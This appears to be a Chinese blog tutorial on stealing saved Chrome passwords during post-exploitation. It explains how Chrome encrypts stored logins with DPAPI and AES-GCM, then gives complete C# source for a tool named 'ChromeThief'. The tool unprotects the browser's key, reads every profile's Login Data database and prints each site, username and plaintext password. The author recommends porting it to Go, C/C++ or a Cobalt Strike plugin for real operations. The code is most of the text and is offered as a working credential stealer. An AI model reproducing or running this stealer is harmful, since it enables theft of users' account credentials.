文前漫谈

权限维持的重要步骤,抓密码。本文通过对Windows DPAPI的基本认识和chrome密码加密机制的理解基础上,编写C#代码实现对chrome浏览器密码的解密

实际利用下,最好是通过go,c/c++这种改写或者编到cs的插件中,基于.net平台还是有点麻烦,得准备两三个版本。

Chrome的加密过程

  • 将用户保存的账户密码使用AES GCM加密
  • 将AES加密密钥通过Windows DPAPI加密保存在名为Local State的文件中,文件以json格式存储。
  • 将初始化向量与密文连接起来,并将它们保存在名为Login Data的文件中,文件以sqlite数据库形式存储。

Local State——加密密钥存放的位置

%USERPROFILE%\AppData\Local\Google\Chrome\User Data\Login Data

文件以json格式储存,encrypted_key 的值就是Windows dpapi加密过后的AES密钥

image-20230628135158057

Login Data——密文存放的位置

Sqlite3数据库

%USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default\Login Data

数据库结构,我们需要注意的几个字段的值

origin_url: 起始url
action_url: form表单提交的地址
username_value  用户名字段
password_value 密码字段

origin_url和action_url的选择需要注意,有时候用户手动添加的账户密码没有action_url字段的值。

image-20230628140800353

AES-解密过程

AES-GCM解密不仅需要密钥,还需要偏移量。我们从Local Data数据库提取我们需要的字段,ciphey的值是密码AES加密后的值

image-20230628143438678

它包含了两个重要的值:

  • Initialization vector (初始化向量)
  • Encrypted passwords (加密后的密码)

用python代码解释这两者的位置,

initialisation_vector = ciphertext[3:15]
encrypted_password = ciphertext[15:-16]

按照上面的流程实现代码如下

C# 代码实现

为什么用C#?

刚开始想写个powershell的脚本调用的,但是实战装库等情况复杂。可能还是类C的实现实用

using System;
using System.Text;
using System.IO;
using System.Data.SQLite;
using System.Linq;
using Org.BouncyCastle.Crypto.Engines;
using Org.BouncyCastle.Crypto.Modes;
using Org.BouncyCastle.Crypto.Parameters;
using System.Security.Cryptography;


namespace ChromeThief
{
    class Program
    {
        // GLOBAL CONSTANT
        private static readonly string CHROME_PATH_LOCAL_STATE = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Google\Chrome\User Data\Local State");
        private static readonly string CHROME_PATH = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Google\Chrome\User Data");

        private static String DecryptPassword(byte[] encryptedPassword, byte[] iv, byte[] secretKey)
        {
            string sR = string.Empty; 
            try
            {
                GcmBlockCipher cipher = new GcmBlockCipher(new AesEngine());
                AeadParameters parameters = new AeadParameters(new KeyParameter(secretKey), 128, iv, null);

                cipher.Init(false, parameters);
                byte[] plainBytes = new byte[cipher.GetOutputSize(encryptedPassword.Length)];
                Int32 retLen = cipher.ProcessBytes(encryptedPassword, 0, encryptedPassword.Length, plainBytes, 0);
                cipher.DoFinal(plainBytes, retLen);

                sR = Encoding.UTF8.GetString(plainBytes).TrimEnd("\r\n\0".ToCharArray());
                //Console.WriteLine(sR);
                return sR;
            }
            catch (Exception e)
            {
                Console.WriteLine($"{e.Message}");
                Console.WriteLine("[ERR] Unable to decrypt, Chrome version <80 not supported. Please check.");
                return null;
            }
        }


        private static byte[] GetSecretKey()
        {
            try
            {
                // Get secretkey from chrome local state
                var localState = File.ReadAllText(CHROME_PATH_LOCAL_STATE);
                dynamic json = Newtonsoft.Json.JsonConvert.DeserializeObject(localState);
                String key = json.os_crypt.encrypted_key;
                byte[] encryptedKeyBytes = Convert.FromBase64String(key);
                //Console.WriteLine(encryptedKeyBytes);
                byte[] encryptedKey = new byte[encryptedKeyBytes.Length - 5];
                Array.Copy(encryptedKeyBytes, 5, encryptedKey, 0, encryptedKey.Length);
                byte[] secretKey = ProtectedData.Unprotect(encryptedKey, null, DataProtectionScope.LocalMachine);
                //Console.WriteLine(BitConverter.ToString(secretKey));  
                return secretKey;
            }
            catch (Exception e)
            {
                Console.WriteLine($"{e.Message}");
                Console.WriteLine("[ERR] Chrome secretkey cannot be found");
                return null;
            }
        }
        
                static void Main(string[] args)
        {
            //Console.WriteLine(CHROME_PATH_LOCAL_STATE);
            //Console.WriteLine(CHROME_PATH);
            var folders = Directory.GetDirectories(CHROME_PATH, "Profile*").Union(Directory.GetDirectories(CHROME_PATH, "Default"));
            var secretKey = GetSecretKey();
            //C: \Users\86176\AppData\Local\Google\Chrome\User Data\Default

            foreach (var folder in folders)	
            {
                //Console.WriteLine(folder);
                var chromePathLoginDb = Path.Combine(folder, "Login Data");
                string connectionString = String.Format("Data Source={0};Version=3;", chromePathLoginDb);
                var conn = new SQLiteConnection(connectionString);
                conn.Open();
                SQLiteCommand cmd = new SQLiteCommand("SELECT origin_url, username_value, password_value FROM logins", conn);
                var reader = cmd.ExecuteReader();
                while (reader.Read())
                {
                    var url = reader.GetString(0);
                    var username = reader.GetString(1);
                    var ciphertext = (byte[])reader.GetValue(2);
                    //Console.WriteLine(ciphertext);

                    if (!string.IsNullOrEmpty(url) && !string.IsNullOrEmpty(username) && ciphertext != null)
                    {
                        // Filter the initialisation vector & encrypted password from ciphertext
                        //byte[] iv = new byte[12];
                        //Array.Copy(ciphertext, 3, iv, 0, 12);
                        ////System.Array.Copy(encryptedData, 3 + iv.Length, ciphertextTag, 0, ciphertextTag.Length);
                        //byte[] encryptedPassword = new byte[ciphertext.Length - 15 - 16];
                        //Array.Copy(ciphertext, 15, encryptedPassword, 0, ciphertext.Length - 15 - 16);
                        byte[] iv = new byte[12];
                        byte[] ciphertextTag = new byte[ciphertext.Length - 3 - iv.Length];

                        System.Array.Copy(ciphertext, 3, iv, 0, iv.Length);
                        System.Array.Copy(ciphertext, 3 + iv.Length, ciphertextTag, 0, ciphertextTag.Length);
                        // Use AES algorithm to decrypt the password
                        Console.WriteLine($"URL: {url}\nUser Name: {username}");
                        var decryptedPassword = DecryptPassword(ciphertextTag, iv, secretKey);
                        Console.WriteLine($"Password: {decryptedPassword}\n");

                    }
                }
            }
        }

    }
}